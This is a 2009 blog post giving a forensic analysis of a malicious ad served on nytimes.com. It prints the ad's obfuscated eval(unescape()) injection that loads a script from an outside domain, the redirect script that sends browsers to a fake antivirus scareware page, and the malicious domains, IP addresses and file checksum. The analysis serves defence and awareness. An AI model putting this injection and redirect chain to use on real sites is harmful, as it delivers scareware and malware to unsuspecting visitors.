


[troy](#)

Inputs & Outputs

- [About](#)
- [Where I Tweet](#)
- [Where I Create](#)
- [Where I Code](#)
- [RSS](#)

 I was served malware ad on @nytimes/nytimes.com ("the ad"). Here's forensics and source: [#http://bit.ly/nytmalware #](http://bit.ly/nytmalware)
8 hours ago. [Follow @troyd](#)

Anatomy of a Malware Ad on NYTimes.com

In [geeky](#) on September 13, 2009 at 6:59 PM

On Saturday evening, Avast displayed a malware warning as I loaded a nytimes.com article. After some digging, here's the malware I found.

Ad Delivery

nytimes.com article pages include an ad placement with the HTML DOM ID `adxBigAd`. From loading a few articles, they seems to rotate between a banner and an iframe.

On this article, a 300x250 iframe was inlining this URL: `tradenton.com slash ?id=21610438`

(note: I don't recommend visiting it, and have URLs are not linked where possible)

A comment gave the campaign ID `asVonage01_1163613_nyt12`, though it was obviously unrelated to Vonage. `tradenton.com` was registered Sept. 2, 2009, so it may have had a previous owner.

Injection

`tradenton.com` serves a 15-line HTML snippet containing this JavaScript:

```
<!-- part of a security explanation - see  
http://www.nytimes.com/2009/09/13/business/media/13note.html and  
http://troy.yort.com/anatomy-of-a-malware-ad-on-nytimes-com -->
```

```

<html><body style="margin:0; padding:0;">
<script type="text/javascript">
var rightNow = new Date();
var date1 = new Date(rightNow.getFullYear(), 0, 1, 0, 0, 0);
var temp = date1.toGMTString();
var date3 = new Date(temp.substring(0, temp.lastIndexOf(" ") - 1));
var hoursDiffStdTime = (date1 - date3) / (1000 * 60 * 60);
tz_crt = hoursDiffStdTime;

document.write(unescape("%3Ca href='http://www.bulgari.com/main.php?lang=6/ref=680' target='_blank'%3E%3Cimg src='http://

var a1 = "http://sex-and-";
var a2 = "the-city.cn/go.php?i";
var a3 = "d=2006-63&key=0522c7066&p=1";
var action_URL = a1 + a2 + a3;
var cur_domain = "harlingens.com";

eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%22%25%33%43%73%63%72%69%70%74%20

</script>
</body></html>

```

[This Gist](#) brought to you by [GitHub](#).

[view raw](#)

As anyone who has looked at phishing links knows, this is nasty on a couple levels. It's eval()'ing escaped code, which is almost never needed to serve an ad. Note that the variable `action_URL` is defined but never used. After unescaping the code, this is what's being run:

```

// part of a security explanation - see
// http://www.nytimes.com/2009/09/13/business/media/13note.html and
// http://troy.yort.com/anatomy-of-a-malware-ad-on-nytimes-com

document.write(unescape("%3Cscript src='http://" + cur_domain + "/includes02.js' type='text/javascript'%3E%3C/script%3E"

```

[This Gist](#) brought to you by [GitHub](#).

[view raw](#)

What's served by `harlingens.com` slash `includes02.js`? Aha! The eval'ed JavaScript is requesting a second Javascript, which hits `action_URL`:

```

// part of a security explanation - see
// http://www.nytimes.com/2009/09/13/business/media/13note.html and
// http://troy.yort.com/anatomy-of-a-malware-ad-on-nytimes-com

    if (top.location !== self.location) {
        top.location = action_URL;
    } else {
        window.location = action_URL;
    }

```

[This Gist](#) brought to you by [GitHub](#).

[view raw](#)

Malware

Now we're talking. Requesting that `action_URL` on `sex-and-the-city.cn` actually serves a HTTP 302 Redirect to `protection-check07.com slash 1/?sess=%3DGQx3jzwMi02MyZpcD0yMDguNzUuNTcuMTIxJnRpbWU9MTI1NjgwMI0MaQ%3DN`. And we hit pay dirt. It's a fake page for a non-existent antivirus app, which is actually malware. Titled "My computer Online Scan", this page displays this JS alert:



Popup from malware advertised on nytimes.com

Then resizes the browser window into a full-screen application-style, as if it had become a virus scanner. Some highlights from the static content and JS on this page:

```
Dont close this window, if your want you PC to be protected.  
353 trojans  
You need to remove this threat as soon as possible!  
Scan procedures finished. 431 Probably harmfull items was found!
```

Here's a screen shot:

My computer Online Scan

System Tasks

- View system information
- Add or remove programs
- Change a settings

Other Places

- My Network Places
- My Documents
- Shared Documents
- Control Panel

Details

My Computer
System Folder

Your Info

IP: 208.75.57.121
Country:
City:
Your private data is under attack!

System-scan-progress

Shared Documents My Documents

Hard drives

Local Disk (C:) Local Disk (D:)

DVD

DVD-RAM Drive (E:)

100%

Now scanning:

Your Computer is Infected!

Threats and actions:

Name	Risk level	Date	Files infected	State

[Full system cleanup](#)

screenshot of web page of malware advertised on nytimes.com

Here's [full HTML source](#) in a gist viewer.

As usual, these phishers haven't sprung for spelling or grammar checkers. The page also uses IP-based geocoding by inlining its own iframe called `geoiip.php`, which has city-level granularity (though it was off by 1,000 miles for me). The "Full System Cleanup" link goes to `/download.php?id=2006-63` on the same server, which serves a file called `Scanner-b4ba2_2006-63.exe`. That redirects to `/download/Scanner-b4ba2_2006-63.exe`, a static file with the checksum `6c5b5669151337ca51ec45b1f5785d02`. Running strings on this 167 KB program – too small for any virus scanner – has it requesting administrator privileges, though I haven't done detailed forensics.

Notes

As of Sept. 12, 2009, `tradenton.com` and `harlingens.com` resolved to `212.117.166.69`. `sex-and-the-city.cn` resolved to `94.102.48.29`. `protection-check07.com` had 3 A records: `91.212.107.5`, `94.102.51.26`, `88.198.107.25`. Also, I changed indentation and spacing for readability, so checksums on gist may not match source files.

► [View 3 Comments](#)

◀ [Before Unique conference venues in Seattle August 15, 2009](#)

[AfterAuction Lifecycle for Data Geeks September 13, 2009](#) »

- **About**

This: Technology, applied; constructive criticism; and catalyzing Web apps (AKA software-as-a-service or cloud computing). Eating the garnish.

Me: My first name at this domain dot com. Yes, my email address is a palindrome.

-
- **Archives**

- [September 2009](#)
- [August 2009](#)
- [June 2009](#)
- [March 2009](#)
- [February 2009](#)
- [July 2008](#)
- [April 2008](#)
- [March 2008](#)
- [geeky](#)
- [networks](#)
- [product management](#)
- [seattle](#)

-
- **Meta**

Search for:

- [RSS Feed](#)